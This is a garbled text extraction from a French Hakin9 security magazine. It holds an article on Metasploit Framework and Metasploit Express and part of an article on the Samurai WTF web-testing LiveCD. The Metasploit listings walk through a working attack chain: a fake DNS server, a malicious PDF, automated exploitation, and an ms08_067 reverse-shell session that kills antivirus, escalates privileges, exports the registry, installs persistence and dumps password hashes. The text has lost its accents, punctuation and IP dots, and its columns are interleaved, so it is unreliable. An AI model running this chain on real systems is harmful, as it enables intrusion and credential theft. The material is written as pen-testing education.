VulnIT est la premiegravere solution laquo Plug amp Audit raquo fournissant aux entreprises un outil drsquoinvestigation automatiseacute permettant de controcircler la seacutecuriteacute logique de leurs serveurs

5201022

Focus

Le Projet Metasploit est un projet open-source visant agrave fournir des informations et des utilitai-res destineacutes aux pen-testers aux chercheurs

en seacutecuriteacute des systegravemes dinformations et aux deacute-veloppeurs de signatures dIDS (Intrusion Detection System) Creacuteeacute par HD Moore en 2003 Metasploit eacutetait agrave lorigine un jeu en reacuteseau deacuteveloppeacute en Perl Le plus connu des sous-projets est le Metasploit

Framework deacuteveloppeacute en Ruby agrave la fois un logi-ciel de pen-testing et une plateforme de deacutevelop-pement pour la creacuteation dutilitaires de seacutecuriteacute et dexploits

Parmi les autres sous-projets nous trouvons Warvox (httpwarvoxorg) eacutecrit en Ruby et publieacute en 2009 une suite dutilitaires destineacutee agrave laudit des systegravemes de teacute-leacutephonie

Le projet Metasploit

Parmi les outils deacutedieacutes agrave la seacutecuriteacute informatique le projet Metasploit a marqueacute son temps avec le Metasploit Framework Nous allons preacutesenter cet outil deacutedieacute agrave la recherche leacutecriture et lexploitation de vulneacuterabiliteacutes Nous eacutetudierons les diffeacuterences avec Metasploit Express le nouveau logiciel de Rapid7

cet article expliquebull deacutefinition du projet Metasploitbull lutilisation de Metasploit Framework et Metasploit Express

ce quil faut savoirbull utilisation de Linux

Alexandre LAcAN

Listing 1 Exeacutecution du module auxiliaire fakedns

msf gt use auxiliaryserverfakedns

msf auxiliary(fakedns) gt set targethost 1921680200

targethost =gt 1921680200

msf auxiliary(fakedns) gt exploit

[] Auxiliary module execution completed

msf auxiliary(fakedns) gt

[] DNS server initializing

[] DNS server started

Dans une autre fenecirctre nous pouvons veacuterifier le bon fonctionnement

rootlades-desktophomeuser nslookup updatemicrosoftcom 127001

Server 127001

Address 12700153

Non-authoritative answer

Name updatemicrosoftcom

Address 1921680200

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 23

me Egypt et Jduck Ce rachat a permis linteacutegration de NeXpose (la version Community Edition est gratuite) avec Metasploit Framework associant un scanner de vulneacuterabiliteacutes avec un logiciel dexploitation de vulneacute-rabiliteacutes Nous verrons au cours de cet article lavan-tage que cela procure

Enfin le 22 avril 2010 HD Moore a annonceacute sur son blog (httpblogmetasploitcom) la parution dun nou-veau logiciel Metasploit Express Cet outil est une solution destineacute aux consultants et aux pen-testers professionnels permettant de faciliter lutilisation du Framework Metasploit et de NeXpose en automatisant au maximum les tests de peacuteneacutetrations Contrairement aux autres projets Metasploit Express est sous licence proprieacutetaire et payant Un prix de 3000 $ par utilisa-teur et par an a eacuteteacute annonceacute par HD Moore sur Twitter (httptwittercomhdmoore) Depuis le rachat du projet Metasploit des interrogations sur lavenir de la licence ont eacutemergeacutees Cependant plusieurs fois HD Moore a tenu a rassureacute la communauteacute des utilisateurs en affirmant que le Metasploit Framework restera open-source et gratuit sous licence BSD

Metasploit FrameworkLe Framework dispose de plusieurs base de don-neacutees La base dopcode est une ressource impor-

Le sous-projet Metasploit Decloaking Engine (httpdecloaknet) est un site web contenant un ensemble de test permettant de veacuterifier lanonymat dun utilisateur surfant derriegravere un proxy Un utilisateur du reacuteseau Tor (httpwwwtorprojectorg) peut effectuer ce test pour veacuterifier que les paramegravetres de son navigateur ne trahis-sent pas sa veacuteritable adresse IP

Metasploit Anti-Forensics Project (httpwwwme-tasploitcomresearchprojectsantiforensics) creacuteeacute par Vinnie Liu et maintenu par la communauteacute vise agrave creacuteer des utilitaires et des techniques permettant de se proteacuteger contre la recherche de preuve (forensic evidence)

Enfin le sous-projet Rogue Network Link Detection (httpwwwmetasploitcomresearchprojectsro-gue_network) est un projet visant agrave deacutetecter les liens reacuteseaux (passerelles bornes wifi ) non autoriseacutes au sein de grand reacuteseaux permettant doutrepasser la seacute-curiteacute exisante (proxy IDS hellip) Ce dernier projet na pas eacuteteacute mis agrave jour depuis deacutecembre 2005

En octobre 2009 le projet Metasploit a eacuteteacute racheteacute par la socieacuteteacute Rapid7 (httpwwwrapid7com) eacuteditrice du scanner de vulneacuterabiliteacutes NeXpose HD Moore a rejoint la socieacuteteacute Rapid7 comme Chief Architect of Metasploit et Chief Security Officer of Rapid7 Dautres contributeurs du projets ont rejoint cette socieacuteteacute com-

Listing 2 Creacuteation dun PDF malicieux exeacutecutant calcexe lors de son ouverture

msf gt use exploitwindowsfileformatadobe_libtiff

msf exploit(adobe_libtiff) gt set PAYLOAD windowsexec

PAYLOAD =gt windowsexec

msf exploit(adobe_libtiff) gt set CMD calcexe

CMD =gt calcexe

msf exploit(adobe_libtiff) gt exploit

[] Creating msfpdf file

[] Generated output file optmetasploit3msf3dataexploitsmsfpdf

[] Exploit completed but no session was created

Listing 3 Inteacutegration de NeXpose avec le Metasploit Framework

msf gt db_create

[] Creating a new database instance

[] Successfully connected to the database

[] File rootmsf3sqlite3db

msf gt load nexpose

[] NeXpose integration has been activated

[] Successfully loaded plugin nexpose

msf gt nexpose_connect nxadminpassword1270013780

[] Connecting to NeXpose instance at 1270013780 with username nxadmin

msf gt nexpose_scan 17216154130

[] Scanning 1 addresses with template pentest-audit in sets of 32

[] Completed the scan of 1 addresses

msf gt db_autopwn -t -e -x -r

5201024

Focus

Listing 4 Exploit ms08_067 avec utilisation du payload meterpreter

msf gt use exploitwindowssmbms08_067_netapi

msf exploit(ms08_067_netapi) gt set PAYLOAD windows

meterpreterreverse_tcp

PAYLOAD =gt windowsmeterpreterreverse_tcp

msf exploit(ms08_067_netapi) gt set RHOST

17216154130

RHOST =gt 17216154130

msf exploit(ms08_067_netapi) gt exploit

[] Started reverse handler on 1721615414444

[] Automatically detecting the target

[] Fingerprint Windows XP Service Pack 2 ndash lang

French

[] Selected Target Windows XP SP2 French (NX)

[] Attempting to trigger the vulnerability

[] Sending stage (748032 bytes) to 17216154130

[] Meterpreter session 1 opened (1721615414444 -gt

172161541301103) at 2010-05-15

154435 +0200

meterpreter gt run killav

[] Killing Antivirus services on the target

[] Killing off cmdexe

meterpreter gt run kitrap0d

[] Currently running as AUTORITE NTSYSTEM

[] Loading the vdmallowed executable and DLL from the

local system

[] Uploading vdmallowed to CWINDOWSTEMP

EOcQDQQBndUZfexe

[] Uploading vdmallowed to CWINDOWSTEMP

vdmexploitdll

[] Escalating our process (PID1028)

Windows NT2KXP2K3VISTA2K87 NtVdmControl()-

gtKiTrap0d local ring0 exploit

-------------------------------------------- taviso

sdflonestarorg ---

[] GetVersionEx() =gt 51

[] NtQuerySystemInformation() =gt WINDOWSsystem32

ntkrnlpaexe804D7000

[] Searching for kernel 51 signature version 2

[+] Trying signature with index 3

[+] Signature found 0x285ee bytes from kernel base

[+] Starting the NTVDM subsystem by launching MS-DOS

executable

[] CreateProcess(CWINDOWStwunk_16exe) =gt 1644

[] OpenProcess(1644) =gt 0x17e8

[] Injecting the exploit thread into NTVDM subsystem

0x17e8

[] WriteProcessMemory(0x17e8 0x2070000 VDMEXPLOIT

DLL 14)

[] WaitForSingleObject(0x17dc INFINITE)

[] GetExitCodeThread(0x17dc 0012FF44) =gt 0x77303074

[+] The exploit thread reports exploitation was

successful

[+] w00t You can now use the shell opened earlier

[] Deleting files

[] Now running as AUTORITE NTSYSTEM

meterpreter gt run scraper

[] New session on 172161541301103

[] Gathering basic system information

[] Dumping password hashes

[] Obtaining the entire registry

[] Exporting HKCU

[] Downloading HKCU (CWINDOWSTEMPOEJanufereg)

[] Cleaning HKCU

[] Exporting HKLM

[] Downloading HKLM (CWINDOWSTEMPKNTyHcmjreg)

[] Cleaning HKLM

[] Exporting HKCC

[] Downloading HKCC (CWINDOWSTEMPKWEbwoWCreg)

[] Cleaning HKCC

[] Exporting HKCR

[] Downloading HKCR (CWINDOWSTEMPBItKbjvhreg)

[] Cleaning HKCR

[] Exporting HKU

[] Downloading HKU (CWINDOWSTEMPHYlpiwXmreg)

[] Cleaning HKU

[] Completed processing on 172161541301103

meterpreter gt run persistence

[] Creating a persistent agent LHOST=172161541

LPORT=4444 (interval=5

onboot=false)

[] Persistent agent script is 314297 bytes long

[] Uploaded the persistent agent to CDOCUME~1

ADMINI~1LOCALS~1Temp

vuMDpBKJVoZcWvbs

[] Agent executed with PID 1644

[] For cleanup use command run multi_console_command -

s rootmsf3logspersistenceLADES

168306B60_201005150314clean_up__201005150314rc

meterpreter gt hashdump

Administrateur500aad3b435b51404eeaad3b435b51404ee31

d6cfe0d16ae931b73c59d7e0c089c0

HelpAssistant1000531644fb0b5459853dd11198bd8b22e454

b0675178b1ddf7eac5f6d79d28dd1f

Invit501aad3b435b51404eeaad3b435b51404ee31d6cfe0d1

6ae931b73c59d7e0c089c0

SUPPORT_388945a01002

aad3b435b51404eeaad3b435b51404ee

b367d1ccc5e78972105e1b3e3834d47e

meterpreter gt sysinfo

Computer LADES-168306B60

OS Windows XP (Build 2600 Service Pack 2)

Arch x86

Language fr_FR

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 25

tante destineacutee aux deacuteveloppeurs dexploits Ceux-ci peuvent retrouver la position dopcode dans des pro-grammes attaqueacutes permettant le deacuteveloppement de buffer-overflows et dexploits qui peuvent fonctionner sur diffeacuterentes versions dun systegraveme dexploitation cible

La base de donneacutees dexploits mise a jour reacutegu-liegraverement est une ressource de vulneacuterabiliteacutes docu-menteacutees La base de shellcodes (ou payload) est un ensemble doutil permettant la post-exploitation dune faille Pour ecirctre plus clair lors dun test de peacuteneacutetration le pen-tester utilise un exploit pour injecter un pay-load Lexploit ouvre la faille et y deacutepose une charge utile (la payload) par exemple un serveur VNC ou un shell distant Par analogie guerriegravere la structure dun missile est lexploit lexplosif contenu dans le

missile est le payloadLe payload le plus connu du Framework est le Meterpreter Le Meterpreter est un shell distant destineacute aux machines sous Windows dont nous verrons les capaciteacutes au cours de cet ar-ticle

Enfin Le Framework dispose dune base de donneacutees de modules auxiliaires permettant dapporter des outils suppleacutementaires aux pentesters Par exemple le modu-le servercapturepop3 creacuteeacute un faux serveur POP3 qui accepte toutes les connexions entrantes permettant de reacutecupeacuterer des identifiants ce messagerie Au total le Framework dispose de presque 500 exploits et plus de 270 modules auxiliaires des scanners des modu-les serveurs des fuzzers etc Le listing 1 preacutesente lexeacutecution dun faux serveur DNS renvoyant toutes les requecirctes DNS vers ladresse 1921680200

Figure 2 Liste des hocirctes services et failles deacutecouverts

Figure 1 Page daccueil de Metasploit Express

5201026

Focus

Le Framework peut ecirctre teacuteleacutechargeacute agrave ladresse httpwwwmetasploitcomframeworkdownload Apregraves linstallation taper la commande msfupdate pour mettre agrave jour les diffeacuterentes base de donneacutees Le Framework dispose de plusieurs interfaces clients Linterface web se lance par la commande msfweb puis en tapant ladresse http12700155555 dans un navigateur Linterface graphique se lance par la commande msfgui Enfin linterface en ligne de com-mande se lance par msfconsole

ExemplesPour exeacutecuter un exploit il faut commencer par le seacutelectionner gracircce agrave la commande use Ensuite nous devons choisir un payload avec agrave la commande set La commande info nous permet de consulter les infor-mations et les options du payload ou de lexploit seacute-lectionneacute Les options (adresse IP cible port deacutecoute hellip) sont eacutegalement deacutefinies par la commande set Le listing 2 preacutesente lexploitation de la faille Adobe CVE-2010-0188 (voir Hakin9 avril 2010) permettant la creacuteation dun PDF malicieux Lors de louverture de ce fichier il est possible de lancer un exeacutecutable injecteacute dans le PDF ou disponible dans le systegraveme de fichier

cible Cette faille a eacuteteacute corrigeacute avec Adobe Reader 931

Le listing 3 preacutesente un exemple dinteacutegration du scanner de vulneacuterabiliteacutes NeXpose avec Metasploit Framework Tout dabord nous creacuteons une base de donneacutees (db_create) qui enregistrera les reacutesultats de notre audit Ensuite le module NeXpose (load_nexpose) nous permet de scanner un reacuteseau agrave la recherche de vulneacuterabiliteacutes Pour que cela fonctionne NeXpose doit bien sucircr avoir eacuteteacute installeacute et exeacutecuteacute Apregraves avoir lanceacute notre recherche de vulneacuterabiliteacutes contre la ma-chine 17216154130 nous lancerons lexploitation des vulneacuterabiliteacutes gracircce agrave la commande db_autopwn Il est possible de deacutefinir une plage dadresse IP en tant que cible Cependant si vous utilisez la version Com-munity de NeXpose vous ecirctes limiteacute agrave 32 adresses IP

MeterpreterLe listing 4 preacutesente lexploitation de la vulneacuterabiliteacute ms08_067 exploitable contre Windows XP SP2 et SP3 Nous injectons le payload Meterpreter gracircce agrave la commande set PAYLOAD Le Meterpreter est un shell distant deacuteveloppeacute par HD Moore offrant de

Figure 3 Liste des options pour lattaque par force brute

Le projet Metasploit Metasploit Framework ou Metasploit Express

hakin9orgfr 27

nombreuses possibiliteacutes au pen-tester Apregraves avoir obtenu un shell distant la commande run killav permet de deacutesactiver lantivirus de la cible La com-mande run kitrap0d exploite la faille CVE-2010-0232 touchant toutes les versions de Windows depuis 15 ans et permettant lobtention des droits maximum sur le systegraveme dexploitation Il est eacutegalement pos-sible de faire une copie deacutecran de la machine cible avec run screenshot de reacutecupeacuterer les informations didentifications des utilisateurs (credentials) avec run credcollect de reacutecupeacuterer un bureau agrave distance avec run vnc ou run getgui dexporter la base de registre

avec run scraper enregistrer les frappes du clavier avec run keylogrecorder et de permettre lexeacutecution du meterpreter automatiquement agrave chaque deacutemarrage par run persistence

bull use sniffer permet denregistrer le traffic reacuteseau bull execute lance une commande arbitrairebull sysinfo reacutecupegravere les informations du systegraveme dex-

ploitation bull reg interagit avec la base de registre distancebull upload envoi un fichier dans la systegraveme distantbull download reacutecupegravere un fichier agrave partir de la cible

Figure 4 Post-exploitation dune vulneacuterabiliteacute

Figure 5 Rapports daudit

5201028

Focus

bull portfwd permet de transfeacuterer un port local vers un service distant

bull run get _ local _ subnets permet de reacutecupeacuterer le sous-reacuteseau de la victime afin de rajouter une rou-te sur la machine attaquante (gracircce agrave la commande route add) puis dencapsuler le traffic pour le rediri-ger vers la reacuteseau local de la victime

De nombreuses autres possibiliteacutes existent Le si-te httpwwwoffensive-securitycommetasploit-un-leashed met agrave disposition un livre complet de preacutesen-tation de Metasploit Framework dont un chapitre en-tier est reacuteserveacute au Meterpreter Ce site est une ex-cellente source dinformations et offre de nombreux exemples

Metasploit ExpressAnnonceacute fin avril Metasploit Express est un logiciel destineacute aux pen-testers professionels Ce logiciel nest pas gratuit et sa licence est proprieacutetaire Il se constitue dune interface graphique (figure 1) et permet lautoma-tisation de tests de seacutecuriteacute en se basant sur Nexpose pour le scanner de vulneacuterabiliteacutes et sur le Framework pour lexploitation Il napporte aucun exploit ou payload suppleacutementaire car il embarque la version courante du Framework

En quelques clics au travers dune interface web le pen-tester peut lancer un scan nmap de deacutecouverte dhocirctes (figure 2) Pour le moment aucune option du scanner nmap nest configurable mais cette eacutevolution est preacutevue rapidement

En un clic nous pouvons lancer un scan de vulneacute-rabiliteacutes avec NeXpose contre les hocirctes deacutecouverts Un bouton Bruteforce permet de lancer une attaque intelligente par dictionnaire contre les services reacuteseau deacutecouverts (SSH SMB HTTP hellip) Le qualificatif in-telligent est ajouteacute car le dictionnaire utilise automa-tiquement les noms des machines ainsi que dautres noms deacutecouverts sur le reacuteseau Il est preacutevu dans le deacuteveloppement de pouvoir ajouteacute et geacuterer des listes de dictionnaires

Enfin le bouton Exploit permet de tenter une ex-ploitation de toutes les failles deacutecouvertes Ainsi ce

dernier clic peut nous permettre de disposer dun grand nombre de session Meterpreter avec tregraves peu de manipulations Sur chaque session obte-nue nous pouvons collecter les donneacutees sensibles du systegraveme (credentials capture deacutecran mots de passe information systegraveme) obtenir une session VNC acceacuteder facilement au systegraveme de fichier et obtenir la ligne de commande Meterpreter pour une utilisation plus fine

Enfin un onglet nous permet de creacuteer et geacuterer des rapports daudit en format web ou html

Pour finir longlet Modules permet lexploitation dune vulneacuterabiliteacute speacutecifique ou dun module auxiliaire contre une cible deacutefinie Il sagit de leacutequivalent graphi-que de la commande use exploit ou use auxiliary de msfconsole Les modules sont noteacutes de une agrave sept eacutetoi-les Ce classement permet de controcircler lordre deacutexecu-tion lors de lautomatisation dexploit La meacutethodologie de classement est accessible agrave ladresse httpwwwmetasploitcomredmineprojectsframeworkwikiEx-ploit_Ranking

conclusionMetasploit express est un outil agrave part entiegravere visant les pen-testers professionnels Il permet de beacuteneacutefi-cier de la puissance du Framework Metasploit et de celle de Nexpose en un minimum de temps Cet outil napporte donc aucune nouvelle possibiliteacute dexploita-tion mais facilite grandement le travail du consultant seacutecuriteacute

Pour les administrateurs avertis le Framework est un excellent moyen de veacuterifier la seacutecuriteacute de son reacuteseau et de sensibiliser les utilisateurs agrave la seacutecuriteacute infor-matique La maintien du Metasploit Framework sous licence BSD est une chance quil faut utiliser agrave bon escient

Agrave PRoPos DE LAuTEuRAuteur Alexandre LACANPour le contacter alexandrelacangmailcomhttptwittercomlades51

sur le reacuteseaubull httpwwwmetasploitcom ndash projet Metasploit bull httpwwwmetasploitcomredmineprojectsframeworkwi-

kindash wiki du projet Metasploitbull httpwwwrapid7com ndash site de la socieacuteteacute Rapid 7 eacuteditrice

de NeXpose et Metasploitbull httpwwwoff ensive-securitycommetasploit-unleashed ndash Ex-

cellent manuel dutilisation de Metasploit Framework agrave li-re absolument

bull httpblogmetasploitcom ndash Blog HD Moorebull httpwwwtwittercomhdmoorendash fi l twitter du creacuteateur de

Metasploit

5201030

pratique

La seacutecuriteacute des sites internet est aujourdhui lrsquoun des aspects de la seacutecuriteacute en entreprise le plus souvent neacutegligeacute alors qursquoil devrait ecirctre une prio-

riteacute dans nimporte quelle organisation De plus en plus les pirates informatiques concentrent leurs efforts sur les applications web afin drsquoobtenir une approche des in-formations confidentielles et abuser des donneacutees sensi-bles comme les deacutetails de clients les numeacuteros de carte de creacutedit et autre

Les applications web reacutealisant des achats en ligne des authentifications drsquoutilisateurs ou utilisant simple-ment tous types de contenu dynamique permettent agrave lrsquoutilisateur drsquointeragir avec des donneacutees contenues dans une base de donneacutees Sur certaines applica-tions ces donneacutees peuvent ecirctre personnelles voire sensibles Si ces applications web ne sont pas seacutecu-riseacutees votre base de donneacutees entiegravere court un risque reacuteel

Comme tous systegravemes informatiques une application web doit reacutepondre agrave trois caracteacuteristiques

bull Confidentialiteacutebull Disponibiliteacutebull Inteacutegriteacute

La seacutecurisation des reacuteseaux et lrsquoinstallation drsquoun pare-feu ne fournissent aucune protection contre les atta-ques web car elles sont lanceacutees sur le port 80 (le port par deacutefaut pour les sites Internet) qui doit rester ouvert Pour la strateacutegie de seacutecuriteacute la plus complegravete il est

donc urgent dauditer reacuteguliegraverement vos applications web pour veacuterifier la preacutesence de vulneacuterabiliteacutes exploi-tables

Pourquoi srsquoattaquer agrave une application web Les failles web permettent des actions de plus en plus

importantes de la part des pirates informatique Il est fini le temps ougrave le piratage drsquoun site Web consistait agrave affi-cher une simple fenecirctre sur la page de lrsquoutilisateur ou bien le vol drsquoun cookie De nos jours le piratage drsquoune application Web est nettement plus dangereux que cela deacutefaccedilage complet ou partiel drsquoun site Internet ou accegraves aux donneacutees sensibles des utilisateurs Les raisons de ces actions Les pirates informatiques sont principale-ment motiveacutes par deux raisons

Samurai proteacutegez vos applications web

Les failles web donnent une belle opportuniteacute aux pirates informatiques Samurai WTF est speacutecialiste dans les tests de peacuteneacutetration sur les applications web

Cet article expliquebull Lrsquoutilisation de Samuraibull La reacutecupeacuteration drsquoinformation

Ce quil faut savoirbull Les bases des sites webbull Les bases des attaques Web (Injection SQL Injection de code

Inclusion de fichier)

reacutegis Senet

Figure 1 Ecran de boot du Live CD

Samurai proteacutegez vos applications web

hakin9orgfr 31

nom de code The Hardy Heron Cette version a eacuteteacute pu-blieacutee en version stable le 24 avril 2008 soit agrave peine quel-ques mois avant la sortie de la premiegravere version de Sa-murai WTF

Samurai sappuyant sur Ubuntu GNOME (GNU Network Object Model Environment) se trouve ecirctre lrsquoen-vironnement graphique par deacutefaut

Samurai WTF est donc un LiveCD preacuteconfigureacute pour les tests de peacuteneacutetration des sites web Le LiveCD contient les meilleurs outils de cette cateacutegorie qursquoils soient Open Source ou bien gratuits

Lrsquoensemble de ces outils se divise en trois cateacutegories distinctes

bull Reconnaissancebull Deacutecouvertebull Exploitation

Nous preacutesenterons plus en deacutetails lrsquoensemble de ces cateacutegories dans le prochain module Nous preacutesente-rons eacutegalement en deacutetails les outils les plus importants disponibles sur ce LiveCD

Origine du projetLe projet Samurai Web Testing Framework a vu le jour pour sa premiegravere mise en ligne le 08 Octobre 2008 sous sa version 01 gracircce au travail de Kevin Johnson et Jus-tin Searle Kevin et Justin sont deux analystes en seacute-curiteacute informatique expeacuterimenteacutes ainsi que des admi-nistrateurs reacuteseaux et pen-tester aguerris Actuellement agrave sa version 04 Samurai WTF se voit srsquoameacuteliorer de version en version en fixant drsquoeacuteventuels bugs sur les logiciels preacutesents ainsi qursquoen ajoutant de nouveaux lo-giciels Parallegravelement agrave lrsquoeacutevolution du projet et sa pri-se drsquoimportance deux autres deacuteveloppeurs Franck Di-Maggio et Brian Bentley sont venus srsquoajouter au projet afin de travailler aux cocircteacutes des deux initiateurs du pro-jet Samurai WTF a pour objectif de devenir LA platefor-me de reacutefeacuterence en qualiteacute de peacuteneacutetration des applica-tions web devant le tregraves complet BackTrack qui agrave deacutejagrave

bull La gloire Le deacutefaccedilage drsquoun site rentre souvent dans cette cateacutegorie de piratage En effet le deacutefaccedila-ge drsquoun site sert parfois agrave marquer son territoire ou simplement agrave se faire connaicirctre par le monde des pirates en modifiant le site cible

bull Lrsquoargent Les pirates sont souvent attireacutes par lappacirct du gain qursquoil soit direct ou indirect Un gain direct est un gain leur revenant person-nellement alors qursquoun gain indirect se deacutefinirait plus comme eacutetant une perte pour lrsquoentreprise ci-ble En effet le vol drsquoinformations confidentielles comme les numeacuteros de carte bleue par exemple est un commerce de plus en plus porteur sur le net

En exemple de gain indirect en 2006 ChoicePoint a payeacute 10 millions de dollars dans les peines civiles et 5 millions dans le deacutedommagement de consomma-teurs apregraves que 163 000 dossiers financiers person-nels de consommateurs avaient eacuteteacute compromis dans sa base de donneacutees De mecircme un pirate informati-que a gagneacute lapproche agrave plus de cinq millions de nu-meacuteros de cartes de creacutedit en feacutevrier 2003 gracircce agrave une attaque dapplication web Il est temps drsquoinclure les si-tes web dans la politique de seacutecuriteacute des entreprises et ceci de maniegravere draconienne Pour ce faire nous allons maintenant vous preacutesenter Samurai Web Tes-ting Framework

qursquoest ce que Samurai Avec la deacutemocratisation des LiveCD speacutecialiseacutes Samurai nrsquoa pu deacuteroger agrave la regravegle Samurai ou plus preacuteciseacutement Samurai Web Testing Framework ou encore Samurai WTF est donc un LiveCD speacutecia-liseacute dans les tests de peacuteneacutetration sur les applica-tions web

Samurai WTF est un LiveCD fondeacute sur un envi-ronnement GNULinux Bien que moins habituelle qursquoOpenBSD FreeBSD et autre Samurai WTF sap-puie sur une distribution Ubuntu 804 LTS ayant pour

Figure 2 BootSplash de Samurai Figure 3 Ecran de login

5201032

pratique

eacutenormeacutement drsquoimportance aux yeux de tous les profes-sionnels de la seacutecuriteacute informatique Une nouvelle ver-sion 05 est attendue inteacutegrant le tout dernier KDE (KDE 41) fondeacute sur Kubuntu 810

Deacutemarrage du LiveCDComme sur lrsquoensemble des distributions GNULinux le boot du CD propose de nombreuses possibili-teacutes quant aux actions agrave entreprendre Encore une fois Samurai WTF ne deacuteroge pas agrave la regravegle (voir Figure 1)

A partir du menu il est possible

bull De deacutemarrer Samurai Web Testing Framework en mode graphique (safe mode ou pas)

bull Drsquoinstaller Samurai Web Testing Framework en dur en utilisant lrsquooutil de partitionnement connu drsquoUbun-tu

bull De veacuterifier que le CD ou le DVD nrsquoa aucun deacutefautbull De faire un test de meacutemoire (option disponible sur

tous les LiveCD)bull De deacutemarrer agrave partir du disque dur Cette option

trouve sont utiliteacute lorsque le CD se trouve dans le lecteur au deacutemarrage mais que lrsquoon veut booter nor-malement sur notre disque dur

Un des inteacuterecircts du LiveCD est quil ne laisse pas de trace car toutes les informations utiliseacutees au cours de son utilisation seront perdues lors de lextinction de la machine Pour cette raison nous allons utiliser la pre-miegravere option Start Samurai Web Testing Framework in Graphical Mode qui est lrsquooption par deacutefaut permettant simplement de lancer Samurai WTF en mode graphi-que

Le mode graphique se lance donc affichant le boots-plash de Samurai WTF durant le chargement de tous les modules (voir Figure 2)

Une fois lrsquoensemble des modules chargeacutes un eacutecran de login apparaicirct

Par deacutefaut le seul et unique identifiant pour la connexion se compose de login samurai coupleacute au mot de passe samurai(voir Figure 3) Par la suite rajoutez eacuteventuel-lement des utilisateurs gracircce agrave la commande useradd ou bien gracircce au gestionnaire graphique que contient Sa-murai WTF afin de restreindre lrsquoutilisation du LiveCD

Une fois loggeacute profitez pleinement de lrsquoensemble des fonctionnaliteacutes dont ce LiveCD regorge

Les menus preacutesents dans Samurai sont tregraves intuitifs et tregraves clairs permettant de vous adapter rapidement mecirc-me si vous nrsquoavez jamais installeacute une version drsquoUbuntu (voir Figure 4 et 5)

Samurai et ses outilsLe LiveCD dispose approximativement drsquoune tren-

taine drsquooutils destineacutes agrave mettre agrave mal tout type drsquoappli-cation web Comme nous vous lavions indiqueacute dans le module preacuteceacutedent lrsquoensemble de ces outils peut se deacutecomposer en trois cateacutegories agrave savoir

bull Reconnaissancebull Deacutecouvertebull Exploitation

reconnaissanceLa partie reconnaissance est une partie tregraves im-portante dans la mise en place drsquoune attaque

(que celle-ci soit porteacutee contre une application web ou autre) Dans le cas drsquoune application web il srsquoagit de faire de la reacutecupeacuteration drsquoinformation sur la cible La prise de connaissance peut inclure la reacutecupeacuteration drsquoadresses mail des informations concernant le titulai-re de lrsquoheacutebergement ainsi que bien drsquoautre possibiliteacutes Pour ces reacutecupeacuterations drsquoinformations les outils Fierce domain Scanner ainsi que Maltego sont disponibles sur Samurai WTF

DeacutecouverteexploitationLes parties deacutecouverte et reconnaissance sont geacuteneacutera-lement regroupeacutees en une seule phase lorsqursquoil srsquoagit

Figure 4 Bureau de Samurai sous Gnome Figure 5 Les menus sous Samurai

Samurai proteacutegez vos applications web

hakin9orgfr 33

drsquooutil automatiseacute La deacutecouverte drsquoune faille que ce soit des mauvaises configurations du serveur des failles de type cross site scripting (XSS) injection SQL inclusion de fichier ou bien drsquoautres encore permet de mettre en eacutevidence la preacutesence drsquoune faille sans pour autant lrsquoexploiter agrave 100 La partie exploitation quant agrave elle consiste agrave tenter drsquoexplorer la faille sous toutes ses coutures Pour ces parties des outils bien connus comme W3AF BeEF ou bien encore AJAXShell ont eacuteteacute incorporeacutes

La preacutesentation des outils que contient le LiveCD Sa-murai WTF ne se fera pas en fonction drsquoune apparte-nance agrave une cateacutegorie (reconnaissance deacutecouverte etou exploitation) mais dans un ordre alphabeacutetique com-me preacutesenteacute dans le menu du LiveCD Nous allons ten-ter de vous preacutesenter le plus preacuteciseacutement possible les outils importants

DirBusterDirBuster est une application eacutecrite en Java permettant de laquo brutefocer raquo les dossiers contenus dans une ap-plication web Une attaque par dictionnaire serait plus approprieacutee du fait que DirBuster va tenter de faire cor-respondre des reacutepertoires preacutesents sur le serveur avec une liste de reacutepertoires dans des fichiers texte Le but de cette application est donc de trouver des dossiers ou bien mecircme des fichiers sans liens pointant vers eux et pouvant srsquoaveacuterer tregraves inteacuteressants (dossier admin par exemple ou la preacutesence drsquoun passwdtxt etc)

Lrsquointerface graphique (voir Figure 6) est tregraves intui-tive et excessivement simple drsquoutilisation En effet il est simplement neacutecessaire de speacutecifier une URL cible ainsi qursquoun dictionnaire de dossiersfichiers

Une fois ces deux eacuteleacutements speacutecifieacutes DirBuster va tenter chaque combinaison une agrave une jusqursquoagrave avoir une

Figure 6 Interface graphique de DirBuster

Figure 7 Loutil GooScan en ligne de commande

5201034

pratique

reacuteponse positive du serveur (Requecircte 200 en geacuteneacute-ral)

Le projet DirBuster est un projet de lrsquoOWASP (Open Web Application Security Project) ayant pour objectif de rendre le Web de plus en plus seacutecuritaire

FierceFierce ou plus preacuteciseacutement Fierce Domain Scanner est petit script eacutecrit en Perl dont le but est drsquoauditer la seacutecuriteacute des applications web Il est capable de tes-ter des domaines qui ne sont pas continus Fierce Do-main Scanner analyse un domaine et tente drsquoidentifier des sites qui sont susceptibles decirctre des cibles po-tentielles dune attaque web Fierce Domain Scanner trouve sa place dans la cateacutegorie des outils de recon-naissance

GooScanGooScan est un scanner de vulneacuterabiliteacutes pour page web fonctionnant agrave partir de requecirctes avec le moteur de recherche Google Crsquoest un utilitaire assez puissant uniquement preacutesent en ligne de commande Cet outil permet de ne pas faire de recherches directement sur la cible en elle-mecircme mais en premier lieu en passant par le moteur de recherche Google afin de reacutecupeacuterer le maximum drsquoinformations sans toucher au systegraveme cible Tout comme Fierce GooScan trouve sa place

dans la cateacutegorie des outils de reconnaissance (voir Figure 7)

HttpprintHttpprint est un logiciel qui relegraveve les laquo empreintes raquo drsquoun serveur web (voir Figure 8) Httpprint deacutetecte avec exactitude les caracteacuteristiques du serveur Web distant mecircme si certains administrateurs systegraveme tentent de cacher ces caracteacuteristiques en changeant certains pa-ramegravetres ainsi que les banniegraveres

Httpprint utilise des signatures pour la reconnaissan-ce des diffeacuterents types de serveur web Il est possible drsquoajouter ses propres signatures agrave la base de donneacutees deacutejagrave preacutesente

MaltegoMaltego est un outil qui deacutetermine les relations et les liens reacuteels entre le monde (personnes entreprises organisations sites web etc ) Maltego permet de trouver simplement et de maniegravere graphique des in-formations telles que des documents les diffeacuterentes adresses e-mail dune personne des numeacuteros de teacute-leacutephone qui pourraient lui ecirctre associeacutes des rensei-gnements sur linfrastructure mais aussi collecter des informations et bien dautres choses encore Trou-vant sa place dans les outils de type laquo reconnaissan-ce raquo Maltego est reacuteputeacute pour ecirctre lrsquoun des meilleurs

Figure 8 Relever les empreintes avec HTTPRINT

Samurai proteacutegez vos applications web

hakin9orgfr 35

